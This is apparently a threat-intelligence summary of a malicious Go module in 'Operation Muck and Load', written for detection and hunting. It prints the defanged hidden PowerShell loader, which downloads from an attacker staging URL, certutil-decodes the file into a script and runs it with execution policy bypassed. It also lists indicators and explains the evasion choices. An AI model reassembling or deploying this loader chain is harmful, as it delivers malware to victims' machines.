Socket: Operation Muck and Load

What it is

Socket's analysis of the malicious Go module github[.]com/kaleidora/dnsub-scanning-tool, the entry point into "Operation Muck and Load." Beyond the summary, the page gives the concrete staging URL, file paths, and a distinctive version-sprawl signal useful for detection and hunting.

How it works

The module embeds a first-stage Windows loader at the top of main(), obscured with excessive horizontal whitespace, that runs before any scanner logic. Normalized and defanged, the hidden PowerShell does:

powershell.exe -WindowStyle Hidden -Command
  Invoke-WebRequest hxxps://muckcoding[.]com/LG-LW/Api-Certificate
    -> C:\Users\Public\Pictures\api.db
  certutil -decode api.db -> C:\Users\Public\Pictures\L.ps1
  start powershell.exe -ExecutionPolicy Bypass C:\Users\Public\Pictures\L.ps1

C:\Users\Public\Pictures is chosen as a cross-user writable location that blends into a benign media directory; api.db masquerades as a cache but is certutil-decoded into a PowerShell script (a living-off-the-land decode with no custom binary).

Preconditions / Affected

The threat is content-and-intent malicious, but Socket notes the observed public source may not reliably execute through a normal go build/go install path without modification — the scanner code is incomplete and the malicious block sits before it. So the risk is primarily to anyone who copies, adapts, or runs the embedded loader logic, not necessarily an automatic build-time trigger.

What to do

Hunt for these indicators (the module is already blocked from the Go module proxy):

• Domains: muckcoding[.]com, muckdeveloper[.]com
• Staging URL: hxxps://muckcoding[.]com/LG-LW/Api-Certificate
• File paths: C:\Users\Public\Pictures\api.db, C:\Users\Public\Pictures\L.ps1
• Behavior: hidden PowerShell (-WindowStyle Hidden) chained with certutil -decode and -ExecutionPolicy Bypass writing to a public media directory.

Version-sprawl heuristic: the module had 1,200+ versions, 700+ malicious, with the first published January 24, 2026 — implausible for a months-old small scanner. Socket attributes this to a GitHub Actions workflow generating timestamp commits surfaced as Go pseudo-versions; treat extreme pseudo-version volume on young, low-complexity modules as a hunting signal.

Caveats

• The "Muck and Load" name is a tracking label, not an attribution boundary — domains, emails, and repo names change.
• The 222-repo / 190-account cluster and the 14+ confirmed malware files (loaders/downloaders, Vidar, spyware/droppers, trojan-downloaders, XMRig/BitMiner) are Socket's confirmed subset, not necessarily the full scope.
• Takedowns and ecosystem blocks disrupt but do not eliminate the actor's tradecraft.